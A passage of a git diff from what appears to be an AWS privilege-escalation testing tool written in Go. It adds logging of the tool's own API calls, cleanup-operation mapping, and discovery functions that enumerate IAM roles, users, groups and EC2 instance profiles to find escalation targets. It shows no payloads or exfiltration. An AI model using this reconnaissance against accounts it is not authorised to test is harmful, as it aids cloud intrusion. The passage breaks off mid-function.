"CancelJob" + case "cloudformation:stack": + return "DeleteStack" + case "cloudformation:stack-update": + return "UpdateStack" + case "cloudformation:stackset": + return "DeleteStackSet" + case "cloudformation:stackset-update": + return "UpdateStackSet" + case "codebuild:project": + return "DeleteProject" + case "cognito-identity:identity-pool-roles": + return "SetIdentityPoolRoles" + case "ec2:launch-template-version": + return "DeleteLaunchTemplateVersions" + case "ec2:launch-template-default": + return "ModifyLaunchTemplate" + case "ec2:userdata": + return "ModifyInstanceAttribute" + case "ecs:task-definition": + return "DeregisterTaskDefinition" + case "ecs:task": + return "StopTask" + case "emr:cluster": + return "TerminateJobFlows" + case "emrserverless:application": + return "DeleteApplication" + case "gamelift:build": + return "DeleteBuild" + case "gamelift:fleet": + return "DeleteFleet" + case "omics:workflow": + return "DeleteWorkflow" + case "omics:run": + return "DeleteRun" + case "ssm:automation-document": + return "DeleteDocument" + case "lambda:function-code": + return "UpdateFunctionCode" + case "glue:job-update": + return "UpdateJob" + case "apprunner:service-update": + return "UpdateService" + case "iam:login-profile-update": + return "UpdateLoginProfile" default: - fmt.Printf(" # %s: %s (manual cleanup required)\n", res.Type, res.Name) + return "Delete" } } diff --git a/pkg/core/repl_adapters.go b/pkg/core/repl_adapters.go index 696a4f6..fe4ffd6 100644 --- a/pkg/core/repl_adapters.go +++ b/pkg/core/repl_adapters.go @@ -78,6 +78,30 @@ func (sa *SessionAdapter) GetCreatedResources() []repl.CreatedResource { return result } +// LogAWSCall satisfies modules.ActionLogger and repl.SessionManager. +func (sa *SessionAdapter) LogAWSCall(service, operation, region, description string, metadata map[string]string) { + sa.SessionManager.LogCloudTrailEvent(service, operation, region, description, metadata) +} + +// GetCloudTrailEvents converts core.CloudTrailEvent slice to the repl-layer type. +func (sa *SessionAdapter) GetCloudTrailEvents() []repl.CloudTrailEvent { + events := sa.SessionManager.GetCloudTrailEvents() + result := make([]repl.CloudTrailEvent, len(events)) + for i, e := range events { + result[i] = repl.CloudTrailEvent{ + Timestamp: e.Timestamp.Format("2006-01-02 15:04:05 MST"), + ModuleID: e.ModuleID, + Service: e.Service, + Operation: e.Operation, + Region: e.Region, + Description: e.Description, + Principal: e.Principal, + Metadata: e.Metadata, + } + } + return result +} + // SessionInterfaceAdapter wraps Session to implement repl.Session interface type SessionInterfaceAdapter struct { *Session diff --git a/pkg/core/session.go b/pkg/core/session.go index ea72ddf..f4ae32a 100644 --- a/pkg/core/session.go +++ b/pkg/core/session.go @@ -17,17 +17,30 @@ import ( ) type Session struct { - Name string `json:"name"` - Created time.Time `json:"created"` - LastAccessed time.Time `json:"last_accessed"` - Identities map[string]*modules.Identity `json:"identities"` - CurrentIdentity string `json:"current_identity"` - AttackerIdentity *modules.Identity `json:"attacker_identity,omitempty"` - CurrentModule string `json:"current_module"` - Options map[string]string `json:"options"` - CommandLog []CommandLogEntry `json:"command_log"` - CreatedResources []CreatedResource `json:"created_resources"` - LastResult string `json:"last_result"` + Name string `json:"name"` + Created time.Time `json:"created"` + LastAccessed time.Time `json:"last_accessed"` + Identities map[string]*modules.Identity `json:"identities"` + CurrentIdentity string `json:"current_identity"` + AttackerIdentity *modules.Identity `json:"attacker_identity,omitempty"` + CurrentModule string `json:"current_module"` + Options map[string]string `json:"options"` + CommandLog []CommandLogEntry `json:"command_log"` + CreatedResources []CreatedResource `json:"created_resources"` + CloudTrailEvents []CloudTrailEvent `json:"cloudtrail_events,omitempty"` + LastResult string `json:"last_result"` +} + +// CloudTrailEvent mirrors modules.CloudTrailEvent for workspace-persisted storage. +type CloudTrailEvent struct { + Timestamp time.Time `json:"timestamp"` + ModuleID string `json:"module_id"` + Service string `json:"service"` + Operation string `json:"operation"` + Region string `json:"region,omitempty"` + Description string `json:"description"` + Principal string `json:"principal,omitempty"` + Metadata map[string]string `json:"metadata,omitempty"` } type CommandLogEntry struct { @@ -335,4 +348,51 @@ func (sm *SessionManager) TrackResource(resource modules.CreatedResource) { } sm.currentSession.CreatedResources = append(sm.currentSession.CreatedResources, coreResource) +} + +// LogCloudTrailEvent records an AWS API call made during module execution. +// The module ID is taken from the session's CurrentModule field so callers +// don't need to supply it. +func (sm *SessionManager) LogCloudTrailEvent(service, operation, region, description string, metadata map[string]string) { + if sm.currentSession == nil { + return + } + + // Capture the current identity's ARN as the acting principal. + var principal string + if sm.currentSession.CurrentIdentity != "" { + if identity, ok := sm.currentSession.Identities[sm.currentSession.CurrentIdentity]; ok { + if identity.CallerARN != "" { + principal = identity.CallerARN + } else { + principal = sm.currentSession.CurrentIdentity + } + } + } + + event := CloudTrailEvent{ + Timestamp: time.Now(), + ModuleID: sm.currentSession.CurrentModule, + Service: service, + Operation: operation, + Region: region, + Description: description, + Principal: principal, + Metadata: metadata, + } + + sm.currentSession.CloudTrailEvents = append(sm.currentSession.CloudTrailEvents, event) + + // Cap at 5000 events to prevent excessive growth. + if len(sm.currentSession.CloudTrailEvents) > 5000 { + sm.currentSession.CloudTrailEvents = sm.currentSession.CloudTrailEvents[len(sm.currentSession.CloudTrailEvents)-5000:] + } +} + +// GetCloudTrailEvents returns all recorded CloudTrail events for the current session. +func (sm *SessionManager) GetCloudTrailEvents() []CloudTrailEvent { + if sm.currentSession == nil { + return nil + } + return sm.currentSession.CloudTrailEvents } \ No newline at end of file diff --git a/pkg/discovery/batch.go b/pkg/discovery/batch.go index 3e662df..b1b1053 100644 --- a/pkg/discovery/batch.go +++ b/pkg/discovery/batch.go @@ -19,7 +19,12 @@ import ( // DiscoverBatchJobDefinitions lists active Batch job definitions and enriches each // with the jobRoleArn so the operator can identify definitions with privileged roles. // Returns choices with job definition names as values. -func DiscoverBatchJobDefinitions(ctx context.Context, config aws.Config) ([]modules.DiscoveryChoice, error) { +func DiscoverBatchJobDefinitions(ctx context.Context, config aws.Config, logger ...modules.ActionLogger) ([]modules.DiscoveryChoice, error) { + var log modules.ActionLogger + if len(logger) > 0 { + log = logger[0] + } + batchClient := batch.NewFromConfig(config) listCtx, listCancel := context.WithTimeout(ctx, 30*time.Second) @@ -34,6 +39,9 @@ func DiscoverBatchJobDefinitions(ctx context.Context, config aws.Config) ([]modu } return nil, fmt.Errorf("failed to describe Batch job definitions: %v", err) } + if log != nil { + log.LogAWSCall("batch", "DescribeJobDefinitions", config.Region, "Enumerated active Batch job definitions for discovery", nil) + } var choices []modules.DiscoveryChoice for _, jd := range output.JobDefinitions { @@ -68,7 +76,12 @@ func DiscoverBatchJobDefinitions(ctx context.Context, config aws.Config) ([]modu // DiscoverBatchJobQueues lists active Batch job queues. // Returns choices with job queue names as values. -func DiscoverBatchJobQueues(ctx context.Context, config aws.Config) ([]modules.DiscoveryChoice, error) { +func DiscoverBatchJobQueues(ctx context.Context, config aws.Config, logger ...modules.ActionLogger) ([]modules.DiscoveryChoice, error) { + var log modules.ActionLogger + if len(logger) > 0 { + log = logger[0] + } + batchClient := batch.NewFromConfig(config) listCtx, listCancel := context.WithTimeout(ctx, 30*time.Second) @@ -81,6 +94,9 @@ func DiscoverBatchJobQueues(ctx context.Context, config aws.Config) ([]modules.D } return nil, fmt.Errorf("failed to describe Batch job queues: %v", err) } + if log != nil { + log.LogAWSCall("batch", "DescribeJobQueues", config.Region, "Enumerated Batch job queues for discovery", nil) + } var choices []modules.DiscoveryChoice for _, jq := range output.JobQueues { diff --git a/pkg/discovery/bedrock.go b/pkg/discovery/bedrock.go index 17a2152..c6814cf 100644 --- a/pkg/discovery/bedrock.go +++ b/pkg/discovery/bedrock.go @@ -16,7 +16,12 @@ import ( // DiscoverBedrockAgentRuntimes lists Bedrock AgentCore agent runtimes. // Returns choices with runtime ARNs as values. -func DiscoverBedrockAgentRuntimes(ctx context.Context, config aws.Config) ([]modules.DiscoveryChoice, error) { +func DiscoverBedrockAgentRuntimes(ctx context.Context, config aws.Config, logger ...modules.ActionLogger) ([]modules.DiscoveryChoice, error) { + var log modules.ActionLogger + if len(logger) > 0 { + log = logger[0] + } + client := bedrockagentcorecontrol.NewFromConfig(config) listCtx, cancel := context.WithTimeout(ctx, 30*time.Second) @@ -31,6 +36,9 @@ func DiscoverBedrockAgentRuntimes(ctx context.Context, config aws.Config) ([]mod } return nil, fmt.Errorf("failed to list Bedrock AgentCore runtimes: %v", err) } + if log != nil { + log.LogAWSCall("bedrock-agentcore", "ListAgentRuntimes", config.Region, "Enumerated Bedrock AgentCore runtimes for discovery", nil) + } var choices []modules.DiscoveryChoice for _, runtime := range result.AgentRuntimes { diff --git a/pkg/discovery/codebuild.go b/pkg/discovery/codebuild.go index 2120958..c8b7c74 100644 --- a/pkg/discovery/codebuild.go +++ b/pkg/discovery/codebuild.go @@ -18,7 +18,12 @@ import ( // DiscoverCodeBuildProjects lists CodeBuild projects and enriches each with // service role information so the operator can identify privileged projects. // Returns choices with project names as values. -func DiscoverCodeBuildProjects(ctx context.Context, config aws.Config) ([]modules.DiscoveryChoice, error) { +func DiscoverCodeBuildProjects(ctx context.Context, config aws.Config, logger ...modules.ActionLogger) ([]modules.DiscoveryChoice, error) { + var log modules.ActionLogger + if len(logger) > 0 { + log = logger[0] + } + cbClient := codebuild.NewFromConfig(config) listCtx, listCancel := context.WithTimeout(ctx, 30*time.Second) @@ -32,6 +37,9 @@ func DiscoverCodeBuildProjects(ctx context.Context, config aws.Config) ([]module } return nil, fmt.Errorf("failed to list CodeBuild projects: %v", err) } + if log != nil { + log.LogAWSCall("codebuild", "ListProjects", config.Region, "Enumerated CodeBuild projects for discovery", nil) + } if len(listResult.Projects) == 0 { return nil, nil diff --git a/pkg/discovery/codedeploy.go b/pkg/discovery/codedeploy.go index 1c78472..76baaee 100644 --- a/pkg/discovery/codedeploy.go +++ b/pkg/discovery/codedeploy.go @@ -16,7 +16,12 @@ import ( // DiscoverCodeDeployApps lists CodeDeploy applications. // Returns choices with application names as values. -func DiscoverCodeDeployApps(ctx context.Context, config aws.Config) ([]modules.DiscoveryChoice, error) { +func DiscoverCodeDeployApps(ctx context.Context, config aws.Config, logger ...modules.ActionLogger) ([]modules.DiscoveryChoice, error) { + var log modules.ActionLogger + if len(logger) > 0 { + log = logger[0] + } + client := codedeploy.NewFromConfig(config) listCtx, cancel := context.WithTimeout(ctx, 30*time.Second) @@ -29,6 +34,9 @@ func DiscoverCodeDeployApps(ctx context.Context, config aws.Config) ([]modules.D } return nil, fmt.Errorf("failed to list CodeDeploy applications: %v", err) } + if log != nil { + log.LogAWSCall("codedeploy", "ListApplications", config.Region, "Enumerated CodeDeploy applications for discovery", nil) + } if len(result.Applications) == 0 { return nil, nil @@ -47,7 +55,12 @@ func DiscoverCodeDeployApps(ctx context.Context, config aws.Config) ([]modules.D // DiscoverCodeDeployGroups lists deployment groups for a given CodeDeploy application. // Returns choices with deployment group names as values. -func DiscoverCodeDeployGroups(ctx context.Context, config aws.Config, appName string) ([]modules.DiscoveryChoice, error) { +func DiscoverCodeDeployGroups(ctx context.Context, config aws.Config, appName string, logger ...modules.ActionLogger) ([]modules.DiscoveryChoice, error) { + var log modules.ActionLogger + if len(logger) > 0 { + log = logger[0] + } + client := codedeploy.NewFromConfig(config) listCtx, cancel := context.WithTimeout(ctx, 30*time.Second) @@ -62,6 +75,11 @@ func DiscoverCodeDeployGroups(ctx context.Context, config aws.Config, appName st } return nil, fmt.Errorf("failed to list deployment groups for %s: %v", appName, err) } + if log != nil { + log.LogAWSCall("codedeploy", "ListDeploymentGroups", config.Region, + fmt.Sprintf("Enumerated CodeDeploy deployment groups for app %s", appName), + map[string]string{"app_name": appName}) + } if len(result.DeploymentGroups) == 0 { return nil, nil diff --git a/pkg/discovery/dynamodb.go b/pkg/discovery/dynamodb.go index 001df2e..5313c80 100644 --- a/pkg/discovery/dynamodb.go +++ b/pkg/discovery/dynamodb.go @@ -16,7 +16,12 @@ import ( // DiscoverDynamoDBStreams lists DynamoDB tables with streams enabled // and returns their stream ARNs as discovery choices. -func DiscoverDynamoDBStreams(ctx context.Context, config aws.Config) ([]modules.DiscoveryChoice, error) { +func DiscoverDynamoDBStreams(ctx context.Context, config aws.Config, logger ...modules.ActionLogger) ([]modules.DiscoveryChoice, error) { + var log modules.ActionLogger + if len(logger) > 0 { + log = logger[0] + } + client := dynamodb.NewFromConfig(config) listCtx, cancel := context.WithTimeout(ctx, 30*time.Second) @@ -25,6 +30,7 @@ func DiscoverDynamoDBStreams(ctx context.Context, config aws.Config) ([]modules. // List all tables var tableNames []string var lastTable *string + listedTables := false for { input := &dynamodb.ListTablesInput{} if lastTable != nil { @@ -38,6 +44,12 @@ func DiscoverDynamoDBStreams(ctx context.Context, config aws.Config) ([]modules. } return nil, fmt.Errorf("failed to list tables: %v", err) } + if !listedTables { + if log != nil { + log.LogAWSCall("dynamodb", "ListTables", config.Region, "Enumerated DynamoDB tables for stream discovery", nil) + } + listedTables = true + } tableNames = append(tableNames, result.TableNames...) @@ -82,9 +94,9 @@ func DiscoverDynamoDBStreams(ctx context.Context, config aws.Config) ([]modules. // DiscoverDynamoDBTableNames lists DynamoDB tables with streams enabled // and returns their table names as discovery choices. -func DiscoverDynamoDBTableNames(ctx context.Context, config aws.Config) ([]modules.DiscoveryChoice, error) { +func DiscoverDynamoDBTableNames(ctx context.Context, config aws.Config, logger ...modules.ActionLogger) ([]modules.DiscoveryChoice, error) { // Reuse the stream discovery and convert to table name choices - streamChoices, err := DiscoverDynamoDBStreams(ctx, config) + streamChoices, err := DiscoverDynamoDBStreams(ctx, config, logger...) if err != nil { return nil, err } diff --git a/pkg/discovery/ec2.go b/pkg/discovery/ec2.go index 9329a00..d4bc90e 100644 --- a/pkg/discovery/ec2.go +++ b/pkg/discovery/ec2.go @@ -17,7 +17,12 @@ import ( ) // DiscoverSubnets lists VPC subnets available in the current region. -func DiscoverSubnets(ctx context.Context, config aws.Config) ([]modules.DiscoveryChoice, error) { +func DiscoverSubnets(ctx context.Context, config aws.Config, logger ...modules.ActionLogger) ([]modules.DiscoveryChoice, error) { + var log modules.ActionLogger + if len(logger) > 0 { + log = logger[0] + } + client := ec2.NewFromConfig(config) listCtx, cancel := context.WithTimeout(ctx, 30*time.Second) @@ -30,6 +35,9 @@ func DiscoverSubnets(ctx context.Context, config aws.Config) ([]modules.Discover } return nil, fmt.Errorf("failed to describe subnets: %v", err) } + if log != nil { + log.LogAWSCall("ec2", "DescribeSubnets", config.Region, "Enumerated VPC subnets for discovery", nil) + } var choices []modules.DiscoveryChoice for _, subnet := range result.Subnets { @@ -65,13 +73,19 @@ func DiscoverSubnets(ctx context.Context, config aws.Config) ([]modules.Discover } // DiscoverSecurityGroups lists security groups available in the current region. -func DiscoverSecurityGroups(ctx context.Context, config aws.Config) ([]modules.DiscoveryChoice, error) { +func DiscoverSecurityGroups(ctx context.Context, config aws.Config, logger ...modules.ActionLogger) ([]modules.DiscoveryChoice, error) { + var log modules.ActionLogger + if len(logger) > 0 { + log = logger[0] + } + client := ec2.NewFromConfig(config) listCtx, cancel := context.WithTimeout(ctx, 30*time.Second) defer cancel() var allGroups []modules.DiscoveryChoice + loggedOnce := false paginator := ec2.NewDescribeSecurityGroupsPaginator(client, &ec2.DescribeSecurityGroupsInput{}) for paginator.HasMorePages() { page, err := paginator.NextPage(listCtx) @@ -81,6 +95,10 @@ func DiscoverSecurityGroups(ctx context.Context, config aws.Config) ([]modules.D } return nil, fmt.Errorf("failed to describe security groups: %v", err) } + if log != nil && !loggedOnce { + log.LogAWSCall("ec2", "DescribeSecurityGroups", config.Region, "Enumerated security groups for discovery", nil) + loggedOnce = true + } for _, sg := range page.SecurityGroups { sgID := aws.ToString(sg.GroupId) @@ -119,7 +137,12 @@ func DiscoverSecurityGroups(ctx context.Context, config aws.Config) ([]modules.D // DiscoverEC2InstancesWithProfiles lists running EC2 instances that have an IAM // instance profile attached. Results include the instance ID, public IP, and // profile ARN so the caller can assess privilege escalation potential. -func DiscoverEC2InstancesWithProfiles(ctx context.Context, config aws.Config) ([]modules.DiscoveryChoice, error) { +func DiscoverEC2InstancesWithProfiles(ctx context.Context, config aws.Config, logger ...modules.ActionLogger) ([]modules.DiscoveryChoice, error) { + var log modules.ActionLogger + if len(logger) > 0 { + log = logger[0] + } + client := ec2.NewFromConfig(config) listCtx, cancel := context.WithTimeout(ctx, 30*time.Second) @@ -132,6 +155,7 @@ func DiscoverEC2InstancesWithProfiles(ctx context.Context, config aws.Config) ([ } var choices []modules.DiscoveryChoice + loggedOnce := false paginator := ec2.NewDescribeInstancesPaginator(client, input) for paginator.HasMorePages() { page, err := paginator.NextPage(listCtx) @@ -141,6 +165,10 @@ func DiscoverEC2InstancesWithProfiles(ctx context.Context, config aws.Config) ([ } return nil, fmt.Errorf("failed to describe instances: %v", err) } + if log != nil && !loggedOnce { + log.LogAWSCall("ec2", "DescribeInstances", config.Region, "Enumerated running EC2 instances with IAM profiles for discovery", nil) + loggedOnce = true + } for _, reservation := range page.Reservations { for _, inst := range reservation.Instances { @@ -186,13 +214,19 @@ func DiscoverEC2InstancesWithProfiles(ctx context.Context, config aws.Config) ([ // DiscoverEC2Instances lists EC2 instances that are running or stopped. // Both states are valid targets for ec2-002 (ModifyInstanceAttribute requires // the instance to be stopped, but if it's running the module will stop it first). -func DiscoverEC2Instances(ctx context.Context, config aws.Config) ([]modules.DiscoveryChoice, error) { +func DiscoverEC2Instances(ctx context.Context, config aws.Config, logger ...modules.ActionLogger) ([]modules.DiscoveryChoice, error) { + var log modules.ActionLogger + if len(logger) > 0 { + log = logger[0] + } + client := ec2.NewFromConfig(config) listCtx, cancel := context.WithTimeout(ctx, 30*time.Second) defer cancel() var choices []modules.DiscoveryChoice + loggedOnce := false paginator := ec2.NewDescribeInstancesPaginator(client, &ec2.DescribeInstancesInput{ Filters: []types.Filter{ { @@ -210,6 +244,10 @@ func DiscoverEC2Instances(ctx context.Context, config aws.Config) ([]modules.Dis } return nil, fmt.Errorf("failed to describe instances: %v", err) } + if log != nil && !loggedOnce { + log.LogAWSCall("ec2", "DescribeInstances", config.Region, "Enumerated running and stopped EC2 instances for discovery", nil) + loggedOnce = true + } for _, reservation := range page.Reservations { for _, instance := range reservation.Instances { diff --git a/pkg/discovery/glue.go b/pkg/discovery/glue.go index ae16bd0..aa2a34a 100644 --- a/pkg/discovery/glue.go +++ b/pkg/discovery/glue.go @@ -17,7 +17,12 @@ import ( // DiscoverGlueJobs lists existing Glue jobs and returns them as discovery choices. // Each choice includes the job name as the value and the current role as metadata. -func DiscoverGlueJobs(ctx context.Context, config aws.Config) ([]modules.DiscoveryChoice, error) { +func DiscoverGlueJobs(ctx context.Context, config aws.Config, logger ...modules.ActionLogger) ([]modules.DiscoveryChoice, error) { + var log modules.ActionLogger + if len(logger) > 0 { + log = logger[0] + } + glueClient := glue.NewFromConfig(config) listCtx, cancel := context.WithTimeout(ctx, 30*time.Second) @@ -30,6 +35,9 @@ func DiscoverGlueJobs(ctx context.Context, config aws.Config) ([]modules.Discove } return nil, fmt.Errorf("failed to list Glue jobs: %v", err) } + if log != nil { + log.LogAWSCall("glue", "ListJobs", config.Region, "Enumerated Glue jobs for discovery", nil) + } var choices []modules.DiscoveryChoice for _, jobName := range result.JobNames { diff --git a/pkg/discovery/iam.go b/pkg/discovery/iam.go index 1b65edb..696af41 100644 --- a/pkg/discovery/iam.go +++ b/pkg/discovery/iam.go @@ -49,13 +49,19 @@ type trustPolicyStatement struct { // DiscoverRolesForService lists IAM roles whose trust policy allows // the given service principal (e.g., "lambda.amazonaws.com"). // Enriches with attached policy names when possible. -func DiscoverRolesForService(ctx context.Context, config aws.Config, servicePrincipal string) ([]modules.DiscoveryChoice, error) { +func DiscoverRolesForService(ctx context.Context, config aws.Config, servicePrincipal string, logger ...modules.ActionLogger) ([]modules.DiscoveryChoice, error) { + var log modules.ActionLogger + if len(logger) > 0 { + log = logger[0] + } + client := iam.NewFromConfig(config) listCtx, cancel := context.WithTimeout(ctx, 30*time.Second) defer cancel() var allRoles []iamtypes.Role + loggedOnce := false paginator := iam.NewListRolesPaginator(client, &iam.ListRolesInput{}) for paginator.HasMorePages() { page, err := paginator.NextPage(listCtx) @@ -65,6 +71,12 @@ func DiscoverRolesForService(ctx context.Context, config aws.Config, servicePrin } return nil, fmt.Errorf("failed to list roles: %v", err) } + if log != nil && !loggedOnce { + log.LogAWSCall("iam", "ListRoles", config.Region, + fmt.Sprintf("Enumerated IAM roles with trust for %s", servicePrincipal), + map[string]string{"service_principal": servicePrincipal}) + loggedOnce = true + } allRoles = append(allRoles, page.Roles...) } @@ -130,13 +142,19 @@ func DiscoverRolesForService(ctx context.Context, config aws.Config, servicePrin // DiscoverIAMUsers lists IAM users with enriched metadata (attached policies, // access key count, login profile status). Useful for modules targeting specific users. -func DiscoverIAMUsers(ctx context.Context, config aws.Config) ([]modules.DiscoveryChoice, error) { +func DiscoverIAMUsers(ctx context.Context, config aws.Config, logger ...modules.ActionLogger) ([]modules.DiscoveryChoice, error) { + var log modules.ActionLogger + if len(logger) > 0 { + log = logger[0] + } + iamClient := iam.NewFromConfig(config) listCtx, cancel := context.WithTimeout(ctx, 30*time.Second) defer cancel() var allUsers []iamtypes.User + loggedOnce := false paginator := iam.NewListUsersPaginator(iamClient, &iam.ListUsersInput{}) for paginator.HasMorePages() { page, err := paginator.NextPage(listCtx) @@ -146,6 +164,10 @@ func DiscoverIAMUsers(ctx context.Context, config aws.Config) ([]modules.Discove } return nil, fmt.Errorf("failed to list users: %v", err) } + if log != nil && !loggedOnce { + log.LogAWSCall("iam", "ListUsers", config.Region, "Enumerated IAM users for discovery", nil) + loggedOnce = true + } allUsers = append(allUsers, page.Users...) } @@ -262,13 +284,19 @@ func hasLoginProfile(ctx context.Context, client *iam.Client, userName string) ( } // DiscoverInstanceProfiles lists IAM instance profiles and their associated roles. -func DiscoverInstanceProfiles(ctx context.Context, config aws.Config) ([]modules.DiscoveryChoice, error) { +func DiscoverInstanceProfiles(ctx context.Context, config aws.Config, logger ...modules.ActionLogger) ([]modules.DiscoveryChoice, error) { + var log modules.ActionLogger + if len(logger) > 0 { + log = logger[0] + } + client := iam.NewFromConfig(config) listCtx, cancel := context.WithTimeout(ctx, 30*time.Second) defer cancel() var allProfiles []iamtypes.InstanceProfile + loggedOnce := false paginator := iam.NewListInstanceProfilesPaginator(client, &iam.ListInstanceProfilesInput{}) for paginator.HasMorePages() { page, err := paginator.NextPage(listCtx) @@ -278,6 +306,10 @@ func DiscoverInstanceProfiles(ctx context.Context, config aws.Config) ([]modules } return nil, fmt.Errorf("failed to list instance profiles: %v", err) } + if log != nil && !loggedOnce { + log.LogAWSCall("iam", "ListInstanceProfiles", config.Region, "Enumerated IAM instance profiles for discovery", nil) + loggedOnce = true + } allProfiles = append(allProfiles, page.InstanceProfiles...) } @@ -373,7 +405,12 @@ func trustsService(policyDoc string, servicePrincipal string) bool { // DiscoverAssumableRoles lists IAM roles whose trust policy allows the // current caller to assume them. Calls sts:GetCallerIdentity to determine // the caller's ARN and account, then filters roles by trust policy. -func DiscoverAssumableRoles(ctx context.Context, config aws.Config) ([]modules.DiscoveryChoice, error) { +func DiscoverAssumableRoles(ctx context.Context, config aws.Config, logger ...modules.ActionLogger) ([]modules.DiscoveryChoice, error) { + var log modules.ActionLogger + if len(logger) > 0 { + log = logger[0] + } + // Get caller identity to know who we are stsClient := sts.NewFromConfig(config) identityCtx, identityCancel := context.WithTimeout(ctx, 15*time.Second) @@ -386,6 +423,9 @@ func DiscoverAssumableRoles(ctx context.Context, config aws.Config) ([]modules.D } return nil, fmt.Errorf("failed to get caller identity: %v", err) } + if log != nil { + log.LogAWSCall("sts", "GetCallerIdentity", config.Region, "Resolved caller ARN to filter assumable roles", nil) + } callerArn := aws.ToString(callerIdentity.Arn) callerAccount := aws.ToString(callerIdentity.Account) @@ -399,6 +439,7 @@ func DiscoverAssumableRoles(ctx context.Context, config aws.Config) ([]modules.D defer cancel() var allRoles []iamtypes.Role + loggedOnce := false paginator := iam.NewListRolesPaginator(iamClient, &iam.ListRolesInput{}) for paginator.HasMorePages() { page, err := paginator.NextPage(listCtx) @@ -408,6 +449,10 @@ func DiscoverAssumableRoles(ctx context.Context, config aws.Config) ([]modules.D } return nil, fmt.Errorf("failed to list roles: %v", err) } + if log != nil && !loggedOnce { + log.LogAWSCall("iam", "ListRoles", config.Region, "Enumerated IAM roles to find assumable targets", nil) + loggedOnce = true + } allRoles = append(allRoles, page.Roles...) } @@ -596,7 +641,12 @@ func actionAllowsAssumeRole(action any) bool { // DiscoverCallerPolicies lists customer-managed IAM policies attached to the // current caller (user or role). Useful for modules like iam:CreatePolicyVersion // that need to target a specific policy ARN. -func DiscoverCallerPolicies(ctx context.Context, config aws.Config) ([]modules.DiscoveryChoice, error) { +func DiscoverCallerPolicies(ctx context.Context, config aws.Config, logger ...modules.ActionLogger) ([]modules.DiscoveryChoice, error) { + var log modules.ActionLogger + if len(logger) > 0 { + log = logger[0] + } + stsClient := sts.NewFromConfig(config) identityCtx, identityCancel := context.WithTimeout(ctx, 15*time.Second) defer identityCancel() @@ -608,6 +658,9 @@ func DiscoverCallerPolicies(ctx context.Context, config aws.Config) ([]modules.D } return nil, fmt.Errorf("failed to get caller identity: %v", err) } + if log != nil { + log.LogAWSCall("sts", "GetCallerIdentity", config.Region, "Resolved caller identity to discover attached policies", nil) + } callerArn := aws.ToString(callerIdentity.Arn) callerAccount := aws.ToString(callerIdentity.Account) @@ -631,6 +684,7 @@ func DiscoverCallerPolicies(ctx context.Context, config aws.Config) ([]modules.D listCtx, cancel := context.WithTimeout(ctx, 30*time.Second) defer cancel() + userPolicyLoggedOnce := false paginator := iam.NewListAttachedUserPoliciesPaginator(iamClient, &iam.ListAttachedUserPoliciesInput{ UserName: aws.String(userName), }) @@ -642,6 +696,12 @@ func DiscoverCallerPolicies(ctx context.Context, config aws.Config) ([]modules.D } return nil, fmt.Errorf("failed to list attached user policies: %v", err) } + if log != nil && !userPolicyLoggedOnce { + log.LogAWSCall("iam", "ListAttachedUserPolicies", config.Region, + fmt.Sprintf("Enumerated policies attached to user %s for discovery", userName), + map[string]string{"user_name": userName}) + userPolicyLoggedOnce = true + } attachedPolicies = append(attachedPolicies, page.AttachedPolicies...) } @@ -678,6 +738,7 @@ func DiscoverCallerPolicies(ctx context.Context, config aws.Config) ([]modules.D listCtx, cancel := context.WithTimeout(ctx, 30*time.Second) defer cancel() + rolePolicyLoggedOnce := false paginator := iam.NewListAttachedRolePoliciesPaginator(iamClient, &iam.ListAttachedRolePoliciesInput{ RoleName: aws.String(roleName), }) @@ -689,6 +750,12 @@ func DiscoverCallerPolicies(ctx context.Context, config aws.Config) ([]modules.D } return nil, fmt.Errorf("failed to list attached role policies: %v", err) } + if log != nil && !rolePolicyLoggedOnce { + log.LogAWSCall("iam", "ListAttachedRolePolicies", config.Region, + fmt.Sprintf("Enumerated policies attached to role %s for discovery", roleName), + map[string]string{"role_name": roleName}) + rolePolicyLoggedOnce = true + } attachedPolicies = append(attachedPolicies, page.AttachedPolicies...) } } else { @@ -767,7 +834,12 @@ func listUserGroupPolicies(ctx context.Context, client *iam.Client, userName str // DiscoverCallerGroups lists IAM groups that the calling user belongs to. // Useful for self-escalation modules targeting group policies (iam-010, iam-011). -func DiscoverCallerGroups(ctx context.Context, config aws.Config) ([]modules.DiscoveryChoice, error) { +func DiscoverCallerGroups(ctx context.Context, config aws.Config, logger ...modules.ActionLogger) ([]modules.DiscoveryChoice, error) { + var log modules.ActionLogger + if len(logger) > 0 { + log = logger[0] + } + // Get caller identity to determine username stsClient := sts.NewFromConfig(config) identityCtx, identityCancel := context.WithTimeout(ctx, 15*time.Second) @@ -780,6 +852,9 @@ func DiscoverCallerGroups(ctx context.Context, config aws.Config) ([]modules.Dis } return nil, fmt.Errorf("failed to get caller identity: %v", err) } + if log != nil { + log.LogAWSCall("sts", "GetCallerIdentity", config.Region, "Resolved caller identity to discover group memberships", nil) + } callerArn := aws.ToString(callerIdentity.Arn) @@ -809,6 +884,11 @@ func DiscoverCallerGroups(ctx context.Context, config aws.Config) ([]modules.Dis } return nil, fmt.Errorf("failed to list groups for user %s: %v", userName, err) } + if log != nil { + log.LogAWSCall("iam", "ListGroupsForUser", config.Region, + fmt.Sprintf("Enumerated IAM groups for user %s", userName), + map[string]string{"user_name": userName}) + } var choices []modules.DiscoveryChoice for _, group := range result.Groups { @@ -855,13 +935,19 @@ func DiscoverCallerGroups(ctx context.Context, config aws.Config) ([]modules.Dis // DiscoverIAMGroups lists all IAM groups with enriched metadata (attached policies). // Useful for modules like iam:AddUserToGroup that need to find privileged groups. -func DiscoverIAMGroups(ctx context.Context, config aws.Config) ([]modules.DiscoveryChoice, error) { +func DiscoverIAMGroups(ctx context.Context, config aws.Config, logger ...modules.ActionLogger) ([]modules.DiscoveryChoice, error) { + var log modules.ActionLogger + if len(logger) > 0 { + log = logger[0] + } + iamClient := iam.NewFromConfig(config) listCtx, cancel := context.WithTimeout(ctx, 30*time.Second) defer cancel() var allGroups []iamtypes.Group + loggedOnce := false paginator := iam.NewListGroupsPaginator(iamClient, &iam.ListGroupsInput{}) for paginator.HasMorePages() { page, err := paginator.NextPage(listCtx) @@ -871,6 +957,10 @@ func DiscoverIAMGroups(ctx context.Context, config aws.Config) ([]modules.Discov } return nil, fmt.Errorf("failed to list groups: %v", err) } + if log != nil && !loggedOnce { + log.LogAWSCall("iam", "ListGroups", config.Region, "Enumerated IAM groups for discovery", nil) + loggedOnce = true + } allGroups = append(allGroups, page.Groups...) } @@ -921,13 +1011,19 @@ func DiscoverIAMGroups(ctx context.Context, config aws.Config) ([]modules.Discov // DiscoverIAMRoles lists all IAM roles with enriched metadata. // Unlike DiscoverAssumableRoles, this does not filter by trust policy. // Useful for modules that modify trust policies (iam-012, iam-019, iam-020, iam-021). -func 